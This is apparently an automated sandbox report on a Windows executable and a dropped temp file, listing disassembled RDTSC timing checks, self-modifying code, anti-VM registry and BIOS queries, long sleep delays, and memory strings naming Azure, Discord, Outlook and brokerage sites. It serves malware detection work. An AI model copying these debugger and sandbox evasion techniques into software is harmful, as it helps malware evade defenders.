Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553019F second address: 5530D76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [00DCA41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007F0CFCDCE857h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 00DCCB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [00DC81DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 pushad 0x0000005a pushfd 0x0000005b jmp 00007F0CFCDA8E5Eh 0x00000060 xor cx, 7918h 0x00000065 jmp 00007F0CFCDA8E5Bh 0x0000006a popfd 0x0000006b pushfd 0x0000006c jmp 00007F0CFCDA8E68h 0x00000071 sub esi, 592B6378h 0x00000077 jmp 00007F0CFCDA8E5Bh 0x0000007c popfd 0x0000007d popad 0x0000007e xchg eax, ebp 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007F0CFCDA8E65h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530D76 second address: 5530D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530D7C second address: 5530DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F0CFCDA8E69h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov al, 08h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F0CFCDA8E62h 0x0000001d cmp dword ptr [76C8459Ch], 05h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F0CFCDA8E67h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DE8 second address: 5530E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E00 second address: 5530E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E04 second address: 5530E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0D6E2CC8C9h 0x0000000e jmp 00007F0CFCBDECE7h 0x00000013 pop ebp 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E78 second address: 5530E7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E7F second address: 5530E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F0D6E2D39C2h 0x0000000c push 76C22B70h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov eax, dword ptr [esp+10h] 0x0000001c mov dword ptr [esp+10h], ebp 0x00000020 lea ebp, dword ptr [esp+10h] 0x00000024 sub esp, eax 0x00000026 push ebx 0x00000027 push esi 0x00000028 push edi 0x00000029 mov eax, dword ptr [76C84538h] 0x0000002e xor dword ptr [ebp-04h], eax 0x00000031 xor eax, ebp 0x00000033 push eax 0x00000034 mov dword ptr [ebp-18h], esp 0x00000037 push dword ptr [ebp-08h] 0x0000003a mov eax, dword ptr [ebp-04h] 0x0000003d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000044 mov dword ptr [ebp-08h], eax 0x00000047 lea eax, dword ptr [ebp-10h] 0x0000004a mov dword ptr fs:[00000000h], eax 0x00000050 ret 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 mov di, ax 0x00000057 mov edx, eax 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E94 second address: 5530E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530E9A second address: 5530EC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, 00000000h 0x0000000d jmp 00007F0CFCBDECE4h 0x00000012 mov dword ptr [ebp-1Ch], esi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530EC3 second address: 5530EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55506FB second address: 5550701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550701 second address: 5550705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550705 second address: 5550711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550711 second address: 5550739 instructions: 0x00000000 rdtsc 0x00000002 call 00007F0CFCDA8E5Bh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0CFCDA8E62h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550739 second address: 555082D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0CFCBDECE6h 0x00000010 xchg eax, esi 0x00000011 jmp 00007F0CFCBDECE0h 0x00000016 push eax 0x00000017 jmp 00007F0CFCBDECDBh 0x0000001c xchg eax, esi 0x0000001d jmp 00007F0CFCBDECE6h 0x00000022 mov esi, dword ptr [ebp+0Ch] 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F0CFCBDECDEh 0x0000002c or ax, B138h 0x00000031 jmp 00007F0CFCBDECDBh 0x00000036 popfd 0x00000037 pushad 0x00000038 movzx esi, dx 0x0000003b pushfd 0x0000003c jmp 00007F0CFCBDECDBh 0x00000041 xor ah, FFFFFFFEh 0x00000044 jmp 00007F0CFCBDECE9h 0x00000049 popfd 0x0000004a popad 0x0000004b popad 0x0000004c test esi, esi 0x0000004e jmp 00007F0CFCBDECDEh 0x00000053 je 00007F0D6E2AC896h 0x00000059 jmp 00007F0CFCBDECE0h 0x0000005e cmp dword ptr [76C8459Ch], 05h 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F0CFCBDECE7h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555082D second address: 5550845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550845 second address: 5550849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55508E8 second address: 55508ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55508ED second address: 55508FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55508FE second address: 5550904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550969 second address: 555096D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555096D second address: 5550973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: CEDDC3 second address: CEDDDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E68159 second address: E68173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0CFCDA8E63h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E68173 second address: E68177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6843B second address: E6846B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E66h 0x00000007 jnl 00007F0CFCDA8E5Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F0CFCDA8E5Ah 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E686C6 second address: E686CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6AC90 second address: E6ACAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0CFCDA8E5Bh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6AD9C second address: E6ADA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0CFCBDECD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6ADA6 second address: E6ADC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F0CFCDA8E65h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6ADC9 second address: E6ADCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6ADCE second address: E6ADD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6AF91 second address: E6AFCA instructions: 0x00000000 rdtsc 0x00000002 js 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e jmp 00007F0CFCBDECE6h 0x00000013 mov eax, dword ptr [ebp+122D2D5Eh] 0x00000019 popad 0x0000001a push 00000000h 0x0000001c cld 0x0000001d push F2B554A4h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6AFCA second address: E6AFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6AFCE second address: E6AFDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6AFDC second address: E6B085 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0CFCDA8E65h 0x00000008 jno 00007F0CFCDA8E56h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 add dword ptr [esp], 0D4AABDCh 0x00000018 mov ecx, dword ptr [ebp+122D2F3Ah] 0x0000001e push 00000003h 0x00000020 add dword ptr [ebp+122D3674h], ecx 0x00000026 push 00000000h 0x00000028 add dword ptr [ebp+122D2858h], edx 0x0000002e push 00000003h 0x00000030 call 00007F0CFCDA8E5Dh 0x00000035 or dword ptr [ebp+122D350Bh], eax 0x0000003b pop ecx 0x0000003c push 8E9586B1h 0x00000041 push esi 0x00000042 jmp 00007F0CFCDA8E5Ch 0x00000047 pop esi 0x00000048 xor dword ptr [esp], 4E9586B1h 0x0000004f call 00007F0CFCDA8E64h 0x00000054 mov dx, 4EE8h 0x00000058 pop ecx 0x00000059 or dword ptr [ebp+122D3722h], ebx 0x0000005f lea ebx, dword ptr [ebp+12450B52h] 0x00000065 pushad 0x00000066 mov edi, dword ptr [ebp+122D2F26h] 0x0000006c popad 0x0000006d xchg eax, ebx 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F0CFCDA8E5Bh 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E6B085 second address: E6B08F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0CFCBDECD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8D9CD second address: E8D9EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8D9EB second address: E8D9F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8D9F7 second address: E8DA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E65h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8DA10 second address: E8DA14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8B82B second address: E8B837 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0CFCDA8E56h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8BF28 second address: E8BF42 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0CFCBDECDDh 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8BF42 second address: E8BF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 popad 0x00000008 jp 00007F0CFCDA8E68h 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jo 00007F0CFCDA8E5Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C20F second address: E8C21E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C21E second address: E8C24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0CFCDA8E69h 0x0000000c jmp 00007F0CFCDA8E5Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C3F2 second address: E8C42E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0CFCBDECDEh 0x0000000e pushad 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jp 00007F0CFCBDECD6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C583 second address: E8C5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007F0CFCDA8E58h 0x0000000d js 00007F0CFCDA8E5Ch 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0CFCDA8E63h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C5B6 second address: E8C5C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F0CFCBDECD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C5C5 second address: E8C5CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C738 second address: E8C747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F0CFCBDECD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C747 second address: E8C758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0CFCDA8E56h 0x0000000a jo 00007F0CFCDA8E56h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C758 second address: E8C771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F0CFCBDECE4h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C8EE second address: E8C8F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	RDTSC instruction interceptor: First address: E8C8F2 second address: E8C8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DDEBEE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DDEB2E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F849D4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FB2FC3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F98BCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: CEDDFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: E94440 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: E948DF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: E92F9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: EB7E46 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: CEDD0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: EA196F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Special instruction interceptor: First address: F26780 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Memory allocated: 4F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Memory allocated: 5110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Memory allocated: 7110000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Code function: 3_2_00E7082A rdtsc

3_2_00E7082A

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7840	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000002.1632939665.0000000000F65000.00000040.00000001.01000000.00000003.sdmp, TAW4YM7XHY64JPKK4AWZZOV.exe, TAW4YM7XHY64JPKK4AWZZOV.exe, 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1467908816.0000000005F1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
